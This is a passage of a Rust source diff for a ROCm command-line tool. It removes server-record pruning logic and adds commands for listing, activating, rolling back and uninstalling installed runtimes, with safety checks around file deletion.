service_id: &str, - engine: &str, -) -> Result { - validate_service_id(service_id)?; - validate_engine_component(engine)?; - Ok(ServiceRecordArtifacts { - manifest: paths.service_manifest_path(service_id), - log: paths.service_log_path(service_id), - engine_state: paths.service_engine_state_path(engine, service_id), - endpoint_key: endpoint_keys::endpoint_key_file_path(paths, service_id), - }) +pub(crate) struct RuntimeActivationResult { + runtime_id: String, + runtime_key: String, + previous_runtime_key: Option, } -/// Delete every artifact that exists, collecting failures instead of stopping at -/// the first one. -/// -/// A missing file is not an error: a record whose log was already deleted by -/// hand (the workaround this command replaces) must still be removable. An -/// unremovable one is returned as a message rather than propagated, because -/// `prune` walks many records and aborting mid-loop would throw away the -/// rendered plan and the audit event covering everything already deleted in the -/// same run — losing the record of a destructive action exactly when something -/// went wrong. -fn try_remove_service_record_artifacts( - artifacts: &ServiceRecordArtifacts, -) -> (Vec, Vec) { - let mut removed = Vec::new(); - let mut failures = Vec::new(); - for path in artifacts.paths() { - match fs::remove_file(path) { - Ok(()) => removed.push(path.to_path_buf()), - Err(error) if error.kind() == std::io::ErrorKind::NotFound => {} - Err(error) => failures.push(format!("{}: {error}", path.display())), - } - } - (removed, failures) +#[derive(Debug, Clone)] +struct RuntimeUninstallResult { + runtime_id: String, + runtime_key: String, + registry_path: PathBuf, + removed_install_root: Option, + read_only: bool, + manifest_mismatch: bool, + was_active: bool, + default_runtime_cleared: bool, } -/// Delete every artifact that exists, returning the paths actually removed. -/// -/// The strict form, for `remove`, which owns exactly one record and has no -/// partial progress to report: any file it could not delete is the command -/// failing. Every artifact is still attempted first, so a single stubborn file -/// does not strand the other three. -fn remove_service_record_artifacts(artifacts: &ServiceRecordArtifacts) -> Result> { - let (removed, failures) = try_remove_service_record_artifacts(artifacts); - if !failures.is_empty() { - bail!("failed to remove {}", failures.join("; ")); - } - Ok(removed) -} +/// Marker shown beside the active runtime in `rocm runtimes list`. Every +/// place that renders this glyph MUST use this constant so the rendered +/// character and the legend text stay in sync. +const ACTIVE_RUNTIME_MARKER: &str = "*"; +/// Marker shown beside the rollback-target runtime. See +/// [`ACTIVE_RUNTIME_MARKER`]. +const ROLLBACK_RUNTIME_MARKER: &str = "-"; -/// Whether a record is too alive to delete: the CLI reads it as live, *or* a -/// process it recorded is still running. -/// -/// The status string alone is not enough for a destructive command. -/// `refresh_from_engine_state` adopts `failed` straight from the engine's own -/// state file, and `refresh_managed_service_runtime_liveness` then returns early -/// for any non-live status without ever consulting the recorded pids — so a -/// server whose engine reported failure while its process is still up reads as -/// removable, and deleting it takes the log and the 0600 endpoint key out from -/// under a process that may still be serving. -fn managed_service_record_is_in_use(record: &ManagedServiceRecord) -> bool { - managed_service_is_live(record) - || recorded_service_pids(record) +pub(crate) fn render_runtimes_text(paths: &AppPaths, config: &RocmCliConfig) -> Result { + recover_setup_runtime_registration(paths, config)?; + let manifests = therock::load_runtime_manifests(paths)?; + let mut output = String::new(); + let _ = writeln!(output, "registered ROCm runtimes"); + let _ = writeln!( + output, + " active_runtime_id: {}", + config.default_runtime_id.as_deref().unwrap_or("") + ); + let _ = writeln!( + output, + " active_runtime_key: {}", + config.active_runtime_key.as_deref().unwrap_or("") + ); + let _ = writeln!( + output, + " previous_runtime_key: {}", + config.previous_runtime_key.as_deref().unwrap_or("") + ); + let _ = writeln!( + output, + " registry: {}", + runtime_registry_dir(paths).display() + ); + let _ = writeln!( + output, + " marker: {}", + active_runtime_marker_path(paths).display() + ); + if let Some(active_runtime_key) = config.active_runtime_key.as_deref() + && !manifests .iter() - .any(|pid| process_is_running(*pid)) -} - -/// Remove one non-running local server record and everything it owns. -/// -/// Refuses a live record rather than stopping it: a removal that silently killed -/// a serving process would be a very different action from the one the user -/// asked for. Liveness is read from the record `load_managed_service` returns, -/// which has already been refreshed against the engine state file and the real -/// processes — a manifest still saying `ready` for a dead PID has demoted to -/// `stopped` by then, and must stay removable. -fn remove_managed_service_record(paths: &AppPaths, service_id: &str, yes: bool) -> Result { - validate_service_id(service_id)?; - let record = load_managed_service(paths, service_id)?; - // Checked before `--yes` on purpose: for a running server "stop it first" is - // the actionable error, and repeating the command with --yes must not be the - // advice a user takes away from it. - if managed_service_record_is_in_use(&record) { - bail!( - "local server `{service_id}` is {} and cannot be removed while it is running.\n\nTry: rocm services stop {service_id} --yes", - record.status + .any(|manifest| manifest.runtime_key == active_runtime_key) + { + let _ = writeln!( + output, + " active_status: missing manifest for active_runtime_key={active_runtime_key}" ); } - if !yes { - bail!( - "Removing local server record `{service_id}` requires --yes.\n\nTry: rocm services remove {service_id} --yes" + if config.active_runtime_key.is_none() + && let Some(default_runtime_id) = config.default_runtime_id.as_deref() + { + let matches = manifests + .iter() + .filter(|manifest| manifest.runtime_id == default_runtime_id) + .collect::>(); + if matches.is_empty() { + let _ = writeln!( + output, + " active_status: missing manifest for active_runtime_id={default_runtime_id}" + ); + } else if matches.len() > 1 { + let _ = writeln!( + output, + " active_status: ambiguous runtime_id={default_runtime_id}; activate one runtime_key: {}", + runtime_keys_text(&matches) + ); + } + } + if manifests.is_empty() { + let _ = writeln!(output, " installed: none"); + let _ = writeln!( + output, + " next step: rocm install sdk --channel release --format wheel" ); + return Ok(output); } - let artifacts = service_record_artifacts(paths, &record.service_id, &record.engine)?; - let mut output = String::new(); - // Printed *before* the delete, because after it there is nothing left to - // point at: this is the last moment the log path is useful. - let _ = writeln!( - output, - "Removing local server record `{service_id}` (status: {}).", - record.status - ); - let _ = writeln!(output, " log: {}", artifacts.log.display()); + let default_runtime_matches = default_runtime_id_matches(config, &manifests); + let single_default_runtime_key = + if config.active_runtime_key.is_none() && default_runtime_matches.len() == 1 { + Some(default_runtime_matches[0].runtime_key.clone()) + } else { + None + }; + drop(default_runtime_matches); + + let _ = writeln!(output, " installed:"); let _ = writeln!( output, - "After this, `rocm services logs {service_id}` and `rocm services restart {service_id} --yes` no longer work." + " legend: {ACTIVE_RUNTIME_MARKER} = active, {ROLLBACK_RUNTIME_MARKER} = rollback target" ); let _ = writeln!(output); - - let removed = remove_service_record_artifacts(&artifacts)?; - let mut report = cli_report::ActionReport::new("Local server record removed") - .detail("service", &record.service_id) - .detail("engine", &record.engine) - .detail("files removed", removed.len()); - for path in &removed { - report = report.detail("removed", path.display()); + for manifest in manifests { + let active = config + .active_runtime_key + .as_deref() + .is_some_and(|runtime_key| runtime_key == manifest.runtime_key) + || single_default_runtime_key.as_deref() == Some(manifest.runtime_key.as_str()); + let rollback = config + .previous_runtime_key + .as_deref() + .is_some_and(|runtime_key| runtime_key == manifest.runtime_key); + let marker = if active { + ACTIVE_RUNTIME_MARKER + } else if rollback { + ROLLBACK_RUNTIME_MARKER + } else { + " " + }; + let status = runtime_usability_status(&manifest); + let mode = if manifest.read_only { + "read-only" + } else { + "managed" + }; + // The compiler is opt-in and `rocm update` reinstalls whatever this + // says, so an install missing it should not be silent about that. + // `rocm examine` reports the same thing for the active runtime. + let toolchain = toolchain_state_text(manifest.includes_devel()); + let _ = writeln!( + output, + " {marker} {} runtime_id={} version={} format={} family={} mode={} status={} toolchain={}", + manifest.runtime_key, + manifest.runtime_id, + therock::runtime_version_display(&manifest.version), + manifest.format, + manifest.family, + mode, + status, + toolchain + ); + let _ = writeln!( + output, + " install_root: {}", + manifest.install_root.display() + ); } - let _ = write!(output, "{}", report.render()); - Ok(output) -} -/// One record `rocm services prune` would delete. -#[derive(Debug, Clone)] -struct ServicePruneEntry { - service_id: String, - engine: String, - status: String, - artifacts: ServiceRecordArtifacts, + Ok(output) } -#[derive(Debug, Default)] -struct ServicePrunePlan { - remove: Vec, - /// Files whose record is already gone — chiefly engine state under - /// `/engines//state/`, which no removal path has ever swept. - orphans: Vec, - /// Human-readable reasons, one per record or file left in place. - skipped: Vec, - /// How many records were skipped purely because they are still running. - skipped_live: usize, - /// How many were removable in every respect but too recent. Counted apart - /// from `skipped` so the summary can name the flag that includes them: a - /// silent "nothing to do" on a host full of fresh failures reads as the - /// command being broken. - skipped_recent: usize, -} +pub(crate) fn activate_runtime( + paths: &AppPaths, + config: &mut RocmCliConfig, + selector: &str, +) -> Result { + let manifests = therock::load_runtime_manifests(paths)?; + let manifest = select_runtime_manifest(&manifests, selector)?; + validate_runtime_manifest_for_activation(manifest)?; + let current = current_runtime_manifest(config, &manifests); + // Re-selecting the runtime already in use is a no-op to the user: they have + // not left anything, so there is no new rollback target — and no reason to + // forget the one the activation that put them here recorded. Deriving the + // target from `current` unconditionally used to clear it, silently removing + // the recovery path that activation had just offered. + let (previous_runtime_key, previous_runtime_id) = if current + .as_ref() + .is_some_and(|current| current.runtime_key == manifest.runtime_key) + { + let runtime_key = config.previous_runtime_key.clone(); + let runtime_id = runtime_key + .as_deref() + .and_then(|runtime_key| { + manifests + .iter() + .find(|candidate| candidate.runtime_key == runtime_key) + }) + .map(|previous| previous.runtime_id.clone()); + (runtime_key, runtime_id) + } else { + // `current` differs from the requested runtime here by construction, so + // this can never record a runtime as its own rollback target. + ( + current + .as_ref() + .map(|manifest| manifest.runtime_key.clone()), + current.as_ref().map(|manifest| manifest.runtime_id.clone()), + ) + }; -/// Modification time of `path`, or `None` when it cannot be read. -fn path_modified(path: &Path) -> Option { - fs::metadata(path).ok()?.modified().ok() -} + config.default_runtime_id = Some(manifest.runtime_id.clone()); + config.active_runtime_key = Some(manifest.runtime_key.clone()); + config.previous_runtime_key = previous_runtime_key.clone(); + config.save(paths)?; + write_active_runtime_marker( + paths, + ActiveRuntimeMarker { + runtime_id: manifest.runtime_id.clone(), + runtime_key: manifest.runtime_key.clone(), + manifest_path: runtime_manifest_path(paths, &manifest.runtime_key), + install_root: manifest.install_root.clone(), + previous_runtime_id, + previous_runtime_key: previous_runtime_key.clone(), + activated_at_unix_ms: rocm_core::unix_time_millis(), + }, + )?; -/// Age of a modification time relative to `now`. `None` when the time is missing -/// or in the future, which is treated as "too new to touch". -fn age_from_modified(modified: Option, now: SystemTime) -> Option { - now.duration_since(modified?).ok() + Ok(RuntimeActivationResult { + runtime_id: manifest.runtime_id.clone(), + runtime_key: manifest.runtime_key.clone(), + previous_runtime_key, + }) } -/// Whether a modification time is old enough to prune, given a threshold. -/// -/// Fail-closed: a time that cannot be determined is kept, except when the -/// threshold is zero (the explicit "everything that is not running" opt-out). -fn prunable_by_modified(modified: Option, min_age: Duration, now: SystemTime) -> bool { - if min_age.is_zero() { - return true; - } - age_from_modified(modified, now).is_some_and(|age| age >= min_age) +fn rollback_runtime( + paths: &AppPaths, + config: &mut RocmCliConfig, +) -> Result { + let previous_key = config + .previous_runtime_key + .clone() + .context("no previous runtime is recorded; activate another runtime before rollback")?; + let manifests = therock::load_runtime_manifests(paths)?; + let previous = select_runtime_manifest(&manifests, &previous_key)?; + validate_runtime_manifest_for_activation(previous)?; + let current = current_runtime_manifest(config, &manifests); + let new_previous_key = current + .as_ref() + .map(|manifest| manifest.runtime_key.clone()) + .filter(|runtime_key| runtime_key != &previous.runtime_key); + let new_previous_id = current + .as_ref() + .map(|manifest| manifest.runtime_id.clone()) + .filter(|_| new_previous_key.is_some()); + + config.default_runtime_id = Some(previous.runtime_id.clone()); + config.active_runtime_key = Some(previous.runtime_key.clone()); + config.previous_runtime_key = new_previous_key.clone(); + config.save(paths)?; + write_active_runtime_marker( + paths, + ActiveRuntimeMarker { + runtime_id: previous.runtime_id.clone(), + runtime_key: previous.runtime_key.clone(), + manifest_path: runtime_manifest_path(paths, &previous.runtime_key), + install_root: previous.install_root.clone(), + previous_runtime_id: new_previous_id, + previous_runtime_key: new_previous_key.clone(), + activated_at_unix_ms: rocm_core::unix_time_millis(), + }, + )?; + + Ok(RuntimeActivationResult { + runtime_id: previous.runtime_id.clone(), + runtime_key: previous.runtime_key.clone(), + previous_runtime_key: new_previous_key, + }) } -/// Whether `path` is old enough to prune, given a threshold in hours. -/// -/// Only sound for files nothing in this run rewrites. Service manifests are -/// rewritten by [`load_managed_services`], so their times are snapshotted up -/// front by [`service_manifest_modified_times`] and gated with -/// [`prunable_by_modified`] instead. -fn prunable_by_age(path: &Path, min_age: Duration, now: SystemTime) -> bool { - prunable_by_modified(path_modified(path), min_age, now) +/// A runtime's install folder is only ever removed when ROCm CLI is confident +/// it owns that folder; `ReadOnly` and `ManifestMismatch` are distinct reasons +/// for leaving it alone, surfaced separately so a real problem (a stale or +/// corrupt local manifest) doesn't look identical to an intentional no-op. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum InstallRootDecision { + Remove, + ReadOnly, + ManifestMismatch, } -/// Modification times of every `*.json` in the services directory, taken before -/// anything in this run can rewrite them. -/// -/// [`load_managed_services`] refreshes each record against the engine state and -/// the real processes, and persists the result whenever that changes the status -/// — which is exactly what happens the first time anything observes that a -/// `ready`/`running`/`starting` server has died. That rewrite lands *after* the -/// `now` the age gate compares against, so a manifest read afterwards looks -/// newer than the run itself and the fail-closed branch keeps it forever. A host -/// whose servers died weeks ago but were never listed since would see -/// `rocm services prune --yes` remove nothing while reporting those records as -/// too recent to touch. -fn service_manifest_modified_times(paths: &AppPaths) -> HashMap { - let mut times = HashMap::new(); - let Ok(entries) = fs::read_dir(paths.services_dir()) else { - return times; - }; - for path in entries.flatten().map(|entry| entry.path()) { - if path.extension().and_then(|value| value.to_str()) != Some("json") { - continue; - } - if let Some(modified) = path_modified(&path) { - times.insert(path, modified); - } +impl InstallRootDecision { + const fn should_remove(self) -> bool { + matches!(self, Self::Remove) } - times } -/// The age threshold one `prune` invocation runs with, in hours. -/// -/// `--any-age` is the discoverable spelling of `--older-than-hours 0` — clap -/// rejects the two together — so this only has to collapse the flag. It is a -/// function rather than a line inside the dispatch `match` so a test can drive -/// the real parsed arguments through the same mapping the command uses. -const fn service_prune_min_age_hours(older_than_hours: u64, any_age: bool) -> u64 { - if any_age { 0 } else { older_than_hours } +#[derive(Debug, Clone)] +struct RuntimeUninstallPlan { + manifest: therock::InstalledRuntimeManifest, + registry_path: PathBuf, + was_active: bool, + /// Whether applying this plan will clear `config.default_runtime_id`. + /// This is true when the config's default still points at this + /// manifest's `runtime_id` and either this manifest was the active one, + /// or it is the last remaining install sharing that `runtime_id` (the + /// id is shared across side-by-side installs, so removing one sibling + /// does not by itself orphan the default while others remain). + clears_default_runtime: bool, + install_root_decision: InstallRootDecision, } -fn describe_hours(hours: u64) -> String { - if hours == 1 { - "1 hour".to_owned() - } else { - format!("{hours} hours") +impl RuntimeUninstallPlan { + fn will_remove_install_root(&self) -> bool { + self.install_root_decision.should_remove() && self.manifest.install_root.exists() } } -/// Files in `services_dir` and the engine state dirs that no longer belong to -/// any record. -/// -/// A `.log` or `.endpoint-key` counts as orphaned only when `.json` -/// is *absent from disk* — not merely absent from `records`. An unparseable -/// manifest is skipped by `load_managed_services`, and treating its siblings as -/// orphans would quietly delete the log of the one record a user most needs to -/// investigate. The corrupt manifest itself is never removed for the same -/// reason. -/// -/// "No `.json` beside it" is also exactly what a *launch in progress* looks -/// like: `serve` writes the 0600 `.endpoint-key` before -/// [`spawn_managed_engine_child`] writes the first `.json`. Nothing about -/// the file distinguishes the two cases — under `--any-age` there is no age gate -/// left to ask — so this function does not try. It is only ever reached with the -/// managed-launch lock held, which excludes that window outright; see -/// [`prune_managed_service_records`]. -/// -/// `services_dir` also holds `launch.lock`, which is shared by every managed -/// launch rather than owned by one service (see -/// [`AppPaths::managed_launch_lock_path`]). Only the three per-service -/// extensions are considered, so the lock is never a candidate — including the -/// one this sweep is itself running under. -fn collect_service_orphans(paths: &AppPaths, min_age: Duration, now: SystemTime) -> Vec { - let services_dir = paths.services_dir(); - let mut orphans = Vec::new(); - - let push_if_orphaned = |path: &Path, orphans: &mut Vec| { - let Some(stem) = path.file_stem().and_then(|stem| stem.to_str()) else { - return; - }; - if services_dir.join(format!("{stem}.json")).exists() { - return; - } - if prunable_by_age(path, min_age, now) { - orphans.push(path.to_path_buf()); +fn print_runtime_uninstall_plan(plan: &RuntimeUninstallPlan) { + let install_folder = if plan.will_remove_install_root() { + format!( + "{} (would be removed)", + plan.manifest.install_root.display() + ) + } else { + match plan.install_root_decision { + InstallRootDecision::Remove => "not present, nothing to remove".to_owned(), + InstallRootDecision::ReadOnly => { + "left untouched (external/read-only runtime)".to_owned() + } + InstallRootDecision::ManifestMismatch => { + "left untouched (local runtime manifest did not match the registry)".to_owned() + } } }; - if let Ok(entries) = fs::read_dir(&services_dir) { - for path in entries.flatten().map(|entry| entry.path()) { - if matches!( - path.extension().and_then(|value| value.to_str()), - Some("log" | "endpoint-key") - ) { - push_if_orphaned(&path, &mut orphans); - } - } + let mut report = cli_report::ActionReport::new("runtime uninstall plan") + .detail("runtime_id", &plan.manifest.runtime_id) + .detail("runtime_key", &plan.manifest.runtime_key) + .detail("registry_entry", plan.registry_path.display()) + .detail("install_folder", install_folder); + if plan.clears_default_runtime { + report = report.detail("default_runtime", "would be cleared"); } + print!("{}", report.render()); +} - // `/engines//state/.json`. `engines/plugins` has no - // `state` subdirectory, so it never yields candidates. - if let Ok(engines) = fs::read_dir(paths.data_dir.join("engines")) { - for engine_dir in engines.flatten().map(|entry| entry.path()) { - let Some(engine) = engine_dir.file_name().and_then(|name| name.to_str()) else { - continue; - }; - let Ok(states) = fs::read_dir(paths.engine_state_dir(engine)) else { - continue; - }; - for path in states.flatten().map(|entry| entry.path()) { - if path.extension().and_then(|value| value.to_str()) == Some("json") { - push_if_orphaned(&path, &mut orphans); - } - } - } +fn plan_runtime_uninstall( + paths: &AppPaths, + config: &RocmCliConfig, + selector: &str, +) -> Result { + let manifests = therock::load_runtime_manifests(paths)?; + let manifest = select_runtime_manifest(&manifests, selector)?.clone(); + let registry_path = runtime_manifest_path(paths, &manifest.runtime_key); + let was_active = current_runtime_manifest(config, &manifests) + .is_some_and(|current| current.runtime_key == manifest.runtime_key); + let clears_default_runtime = config + .default_runtime_id + .as_deref() + .is_some_and(|runtime_id| runtime_id.eq_ignore_ascii_case(&manifest.runtime_id)) + && (was_active + || !manifests.iter().any(|other| { + other.runtime_key != manifest.runtime_key + && other.runtime_id.eq_ignore_ascii_case(&manifest.runtime_id) + })); + let install_root_decision = should_remove_runtime_install_root(&manifest)?; + Ok(RuntimeUninstallPlan { + manifest, + registry_path, + was_active, + clears_default_runtime, + install_root_decision, + }) +} + +/// Re-derives the uninstall plan from disk and refuses to proceed if it no +/// longer matches what the user approved. The interactive confirmation this +/// guards can wait indefinitely; if another process activates a different +/// runtime or replaces the install folder while the prompt is open, applying +/// the stale plan could clear the wrong `active_runtime_key` or recursively +/// delete a folder that is no longer the one that was vetted as safe to +/// remove. +fn revalidate_runtime_uninstall_plan( + paths: &AppPaths, + config: &RocmCliConfig, + plan: RuntimeUninstallPlan, +) -> Result { + let fresh = plan_runtime_uninstall(paths, config, &plan.manifest.runtime_key)?; + if fresh.manifest.runtime_id != plan.manifest.runtime_id + || fresh.manifest.install_root != plan.manifest.install_root + || fresh.was_active != plan.was_active + || fresh.clears_default_runtime != plan.clears_default_runtime + || fresh.install_root_decision != plan.install_root_decision + { + bail!( + "runtime state for {} changed while waiting for confirmation; re-run `rocm runtimes uninstall {}` to review the current plan before approving it", + plan.manifest.runtime_key, + plan.manifest.runtime_key + ); } + Ok(fresh) +} - orphans.sort(); - orphans +enum RuntimeUninstallConfirmation { + Cancelled, + // `RuntimeUninstallPlan`/`RocmCliConfig` are large; box them so the two + // variants stay a similar size (clippy::large_enum_variant). + Confirmed { + plan: Box, + config: Box, + }, } -fn build_service_prune_plan( +/// Runs the confirm-then-revalidate sequence used by an interactive +/// `runtimes uninstall`: waits for the caller-supplied confirmation, then +/// reloads config from disk and re-derives the plan against it, so a state +/// change that happened while the (potentially indefinite) prompt was open +/// cannot be applied against stale data. +fn confirm_and_revalidate_runtime_uninstall( paths: &AppPaths, - min_age: Duration, - hours: u64, - now: SystemTime, -) -> Result { - let mut plan = ServicePrunePlan::default(); - // Taken first, because `load_managed_services` below rewrites the manifest of - // every record whose status its refresh corrects — see - // `service_manifest_modified_times` for why reading the time afterwards makes - // the age gate keep exactly the long-dead records prune exists to remove. - let manifest_times = service_manifest_modified_times(paths); - // `load_managed_services` refreshes each record against the engine state and - // the real processes before returning it, so liveness below is read from the - // refreshed view, never from the manifest as it was on disk. - for record in load_managed_services(paths)? { - if managed_service_record_is_in_use(&record) { - plan.skipped_live += 1; - plan.skipped.push(format!( - "{} is {} — stop it first with `rocm services stop {} --yes`", - record.service_id, record.status, record.service_id - )); - continue; - } - let artifacts = match service_record_artifacts(paths, &record.service_id, &record.engine) { - Ok(artifacts) => artifacts, - Err(error) => { - plan.skipped.push(format!("{}: {error}", record.service_id)); - continue; - } - }; - if !prunable_by_modified( - manifest_times.get(&artifacts.manifest).copied(), - min_age, - now, - ) { - plan.skipped_recent += 1; - plan.skipped.push(format!( - "{} changed less than {} ago", - record.service_id, - describe_hours(hours) - )); - continue; - } - plan.remove.push(ServicePruneEntry { - service_id: record.service_id.clone(), - engine: record.engine.clone(), - status: record.status.clone(), - artifacts, - }); + plan: RuntimeUninstallPlan, + confirm: impl FnOnce() -> Result, +) -> Result { + if !confirm()? { + return Ok(RuntimeUninstallConfirmation::Cancelled); } - plan.orphans = collect_service_orphans(paths, min_age, now); - plan.remove - .sort_by(|left, right| left.service_id.cmp(&right.service_id)); - plan.skipped.sort(); - Ok(plan) + let config = RocmCliConfig::load(paths)?; + let plan = revalidate_runtime_uninstall_plan(paths, &config, plan)?; + Ok(RuntimeUninstallConfirmation::Confirmed { + plan: Box::new(plan), + config: Box::new(config), + }) } -fn render_service_prune_plan(plan: &ServicePrunePlan, hours: u64, dry_run: bool) -> String { - let mut output = String::new(); - let _ = writeln!(output, "Local server record review"); - let _ = writeln!(output); - if hours == 0 { - let _ = writeln!( - output, - "Including every record that is not running, however recent." - ); - } else { - let _ = writeln!( - output, - "Only records and files untouched for at least {}.", - describe_hours(hours) - ); +fn uninstall_runtime( + paths: &AppPaths, + config: &mut RocmCliConfig, + selector: &str, +) -> Result { + let plan = plan_runtime_uninstall(paths, config, selector)?; + apply_runtime_uninstall(paths, config, plan) +} + +fn apply_runtime_uninstall( + paths: &AppPaths, + config: &mut RocmCliConfig, + plan: RuntimeUninstallPlan, +) -> Result { + let RuntimeUninstallPlan { + manifest, + registry_path, + was_active, + clears_default_runtime, + install_root_decision, + } = plan; + + let mut removed_install_root = None; + if install_root_decision.should_remove() && manifest.install_root.exists() { + fs::remove_dir_all(&manifest.install_root).with_context(|| { + format!( + "failed to remove runtime folder {} — the runtime registry entry has not \ + been removed yet, so `rocm runtimes list` will still show this runtime as \ + installed and pointing at this (now possibly partially deleted) folder \ + until the removal succeeds", + manifest.install_root.display() + ) + })?; + removed_install_root = Some(manifest.install_root.clone()); } - let _ = writeln!(output); - if plan.remove.is_empty() && plan.orphans.is_empty() { - let _ = writeln!(output, "Nothing would be removed."); + if registry_path.exists() { + fs::remove_file(®istry_path).with_context(|| { + format!( + "failed to remove runtime registry entry {}", + registry_path.display() + ) + })?; } - if plan.skipped_recent > 0 { - let _ = writeln!( - output, - "{} record(s) changed less than {} ago and are kept; add --any-age to include them.", - plan.skipped_recent, - describe_hours(hours) - ); + + let mut config_changed = false; + if config + .active_runtime_key + .as_deref() + .is_some_and(|runtime_key| runtime_key.eq_ignore_ascii_case(&manifest.runtime_key)) + { + config.active_runtime_key = None; + config_changed = true; } - if !plan.remove.is_empty() { - let _ = writeln!( - output, - "{} local server record(s) would be removed:", - plan.remove.len() - ); - for entry in &plan.remove { - let _ = writeln!( - output, - " - {} (status: {}, engine: {})", - entry.service_id, entry.status, entry.engine - ); - for path in entry.artifacts.paths() { - if path.exists() { - let _ = writeln!(output, " {}", path.display()); - } - } - } - let _ = writeln!(output); - let _ = writeln!( - output, - "Their logs go with them, and `rocm services restart --yes` stops working for them." - ); + if config + .previous_runtime_key + .as_deref() + .is_some_and(|runtime_key| runtime_key.eq_ignore_ascii_case(&manifest.runtime_key)) + { + config.previous_runtime_key = None; + config_changed = true; } - if !plan.orphans.is_empty() { - if !plan.remove.is_empty() { - let _ = writeln!(output); - } - let _ = writeln!( - output, - "{} leftover file(s) with no local server record would be removed:", - plan.orphans.len() - ); - for path in &plan.orphans { - let _ = writeln!(output, " - {}", path.display()); - } + if clears_default_runtime { + config.default_runtime_id = None; + config_changed = true; } - if !plan.skipped.is_empty() { - let _ = writeln!(output); - let _ = writeln!(output, "Left alone:"); - for skipped in &plan.skipped { - let _ = writeln!(output, " - {skipped}"); - } + if config + .setup + .therock_venv + .as_ref() + .is_some_and(|path| paths_equivalent(path, &manifest.install_root)) + { + config.setup.therock_venv = None; + config.setup.completed = false; + config.onboarding_dismissed = false; + config_changed = true; } - if dry_run { - let _ = writeln!(output); - // "Nothing was removed", not "nothing was changed": building the plan - // loads every record, and loading corrects a status that no longer - // matches the real processes and persists that correction. No file is - // deleted, which is the promise a dry run of a removal command makes. - let _ = writeln!( - output, - "Nothing was removed. Re-run without --dry-run to remove." - ); + if config_changed { + config.save(paths)?; } - output -} -#[derive(Debug, Default)] -struct ServicePruneOutcome { - text: String, - removed_records: usize, - removed_files: usize, - /// Records left in place purely because they are still running. - skipped_live: usize, - skipped_recent: usize, - /// Paths the run could not delete, one message each. Collected rather than - /// propagated so the plan still prints and the audit event is still - /// recorded; the caller turns a non-empty list into a failing exit. - failures: Vec, + if active_runtime_marker_matches(paths, &manifest.runtime_key)? { + let marker_path = active_runtime_marker_path(paths); + if marker_path.exists() { + fs::remove_file(&marker_path).with_context(|| { + format!( + "failed to remove active runtime marker {}", + marker_path.display() + ) + })?; + } + } + + Ok(RuntimeUninstallResult { + runtime_id: manifest.runtime_id, + runtime_key: manifest.runtime_key, + registry_path, + removed_install_root, + read_only: manifest.read_only, + manifest_mismatch: matches!(install_root_decision, InstallRootDecision::ManifestMismatch), + was_active, + default_runtime_cleared: clears_default_runtime, + }) } -/// Carry out everything `plan` names, recording what happened in `outcome`. -/// -/// Split out of [`prune_managed_service_records`] rather than inlined there so a -/// test can hand it a plan entry whose record came back to life after the plan -/// was built. That window is the only reason the liveness re-check below exists, -/// and no test driving `prune` end to end can open it: one call builds the plan -/// and applies it, so a record is either live for both halves or dead for both. -fn apply_service_prune_plan( - paths: &AppPaths, - plan: &ServicePrunePlan, - outcome: &mut ServicePruneOutcome, -) { - for entry in &plan.remove { - // Liveness was snapshotted while the plan was built. A - // `rocm services restart --yes` landing in that window would have - // its log and 0600 endpoint key deleted out from under a live process, - // so re-read the record immediately before touching its files — - // `remove` narrows the same window by loading the record it deletes. - // Neither closes it: the check and the delete are not atomic either way. - if load_managed_service(paths, &entry.service_id) - .is_ok_and(|record| managed_service_record_is_in_use(&record)) - { - outcome.skipped_live += 1; - let _ = writeln!( - outcome.text, - " {} started again while this ran and was left alone.", - entry.service_id - ); - continue; - } - let (removed, failures) = try_remove_service_record_artifacts(&entry.artifacts); - outcome.removed_files += removed.len(); - if failures.is_empty() { - outcome.removed_records += 1; - } - outcome.failures.extend(failures); +fn should_remove_runtime_install_root( + manifest: &therock::InstalledRuntimeManifest, +) -> Result { + if manifest.read_only || manifest.imported_from.is_some() { + return Ok(InstallRootDecision::ReadOnly); } - for path in &plan.orphans { - match fs::remove_file(path) { - Ok(()) => outcome.removed_files += 1, - Err(error) if error.kind() == std::io::ErrorKind::NotFound => {} - Err(error) => outcome - .failures - .push(format!("{}: {error}", path.display())), - } + if !local_runtime_manifest_matches(manifest)? { + return Ok(InstallRootDecision::ManifestMismatch); } + ensure_runtime_install_root_is_safe_to_remove(&manifest.install_root)?; + Ok(InstallRootDecision::Remove) } -/// Bulk-remove the local server records that are no longer running. -/// -/// Unlike [`remove_managed_service_record`] a live record is *skipped*, not an -/// error: a bulk cleanup that aborted because one server happened to be serving -/// would be unusable on the hosts that need it most. The count is reported so -/// the skip is never silent. -/// -/// # Why this takes the managed-launch lock -/// -/// [`collect_service_orphans`] calls a file with no `.json` beside it a -/// leftover, and that is also what a launch looks like mid-flight: `serve` -/// writes the 0600 `.endpoint-key` at the top of the managed path, and the -/// first `.json` only lands at `record.write()` inside -/// [`spawn_managed_engine_child`]. Between those two writes a live server's -/// secret is indistinguishable from a leftover, and `--any-age` removes the age -/// gate that used to hide the window, so a concurrent -/// `rocm services prune --any-age --yes` deleted it. -/// -/// `serve` already holds `managed_launch_lock_path` across the whole of that -/// window — [`select_gpu_indices_under_launch_lock`] acquires it, hands the -/// guard back to its caller, and `start_managed_service`/`run_attached_service` -/// only drop it once the record is persisted (see that function's own comment, -/// which this one must not drift from). The gap was simply that prune never -/// acquired it: the helper above was the single acquirer in the tree. Taking it -/// here closes the window deterministically, for any number of records, which no -/// age floor can — the window is not short and is not bounded, because -/// `spawn_managed_engine_child`'s idempotency guard runs `load_managed_services` -/// first, and that refreshes every `ready`/`running` record through a 750ms -/// listing plus an up-to-8s inference probe ([`rocm_core::INFERENCE_PROBE_TIMEOUT`]), -/// sequentially, over a record count the user controls. -/// -/// **Scope: the whole operation, not just the scan.** Holding it across -/// [`build_service_prune_plan`] alone is very nearly enough — a launch already -/// under way blocks prune until its manifest exists, at which point its key is -/// no longer an orphan, and a launch starting after the scan has not written a -/// key yet so it cannot be in the plan. "Cannot be in the plan" leans on -/// `generate_service_id` minting a millisecond-unique id, though, which is a -/// property of an unrelated function and a backwards clock step would break. -/// Covering [`apply_service_prune_plan`] too makes the exclusion unconditional, -/// and costs nothing worth measuring next to the scan it already serializes: -/// the apply phase is `unlink` calls plus one manifest read per record. -/// -/// That wider scope is *not* pinned by a test, and neither the unit test nor -/// `service-cleanup-07` fails if the guard is released after plan building. It -/// cannot be pinned at that level: the only behaviour the extra span changes is -/// the id-collision case above, which needs `generate_service_id` to mint an id -/// a previous run already used — i.e. a backwards clock step — and any test that -/// instead tried 